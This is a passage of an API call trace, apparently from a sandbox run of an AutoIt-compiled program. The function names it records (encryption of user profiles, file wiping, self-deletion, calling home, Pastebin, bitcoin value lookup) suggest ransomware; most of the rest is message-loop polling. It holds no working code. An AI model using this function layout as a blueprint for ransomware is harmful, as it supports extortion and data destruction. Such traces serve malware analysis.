lpsz="DECRYPT_USERPROFILES") returned 0x14 [0039.921] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0039.921] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0039.921] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0039.921] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0039.921] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0039.921] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0039.921] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0039.921] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0039.921] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0039.921] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0039.921] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0039.922] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.922] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.922] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0039.922] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0039.922] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0039.922] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0039.922] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0039.922] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0039.922] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0039.922] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0039.922] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0039.922] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0039.922] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0039.922] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0039.922] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0039.922] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0039.922] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0039.922] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0039.922] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0039.923] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0039.923] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0039.923] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0039.923] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0039.923] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0039.923] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0039.923] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0039.923] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0039.923] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0039.923] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0039.923] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0039.923] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0039.923] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0039.923] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0039.923] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0039.924] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0039.924] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0039.924] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0039.924] AllocateAndInitializeSid (in: pIdentifierAuthority=0xbf60cffa58, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xbf60cffa60 | out: pSid=0xbf60cffa60) returned 1 [0039.924] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xbf60f09920, IsMember=0xbf60cffa50 | out: IsMember=0xbf60cffa50) returned 1 [0039.924] GetSysColorBrush (nIndex=15) returned 0x1100074 [0039.924] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0039.924] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x160193 [0039.925] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x6020f [0039.925] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x14020b [0039.925] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x60207 [0039.925] RegisterClassExW (param_1=0xbf60cff9f0) returned 0xc143 [0039.925] GetSysColorBrush (nIndex=15) returned 0x1100074 [0039.925] RegisterClassExW (param_1=0xbf60cff960) returned 0xc140 [0039.925] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0039.925] InitCommonControlsEx (picce=0xbf60cff9c8) returned 1 [0039.926] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xbf60dd1900 [0039.926] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x2a0183 [0039.926] ImageList_ReplaceIcon (himl=0xbf60dd1900, i=-1, hicon=0x2a0183) returned 0 [0039.927] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x7002c [0039.927] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x24, wParam=0x0, lParam=0xbf60cff440) returned 0x0 [0039.927] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x81, wParam=0x0, lParam=0xbf60cff3f0) returned 0x1 [0039.929] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x83, wParam=0x0, lParam=0xbf60cff460) returned 0x0 [0039.932] SetTimer (hWnd=0x7002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0039.932] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0039.932] CreatePopupMenu () returned 0x70093 [0039.932] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x7002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x701e4 [0039.939] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x210, wParam=0x10001, lParam=0x701e4) returned 0x0 [0039.939] ShowWindow (hWnd=0x7002c, nCmdShow=0) returned 0 [0039.939] ShowWindow (hWnd=0x7002c, nCmdShow=0) returned 0 [0039.939] Shell_NotifyIconW (dwMessage=0x0, lpData=0xbf60cff670) returned 1 [0039.947] Shell_NotifyIconW (dwMessage=0x1, lpData=0xbf60cff270) returned 1 [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0039.947] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0039.947] DispatchMessageW (lpMsg=0xbf60cff870) returned 0x0 [0039.947] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.947] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.947] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.947] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.947] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0039.947] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.947] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.948] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.948] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.948] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.948] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.948] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.948] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.949] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.949] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.949] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.949] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.950] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.951] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.952] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.953] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0039.953] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.954] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.955] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", 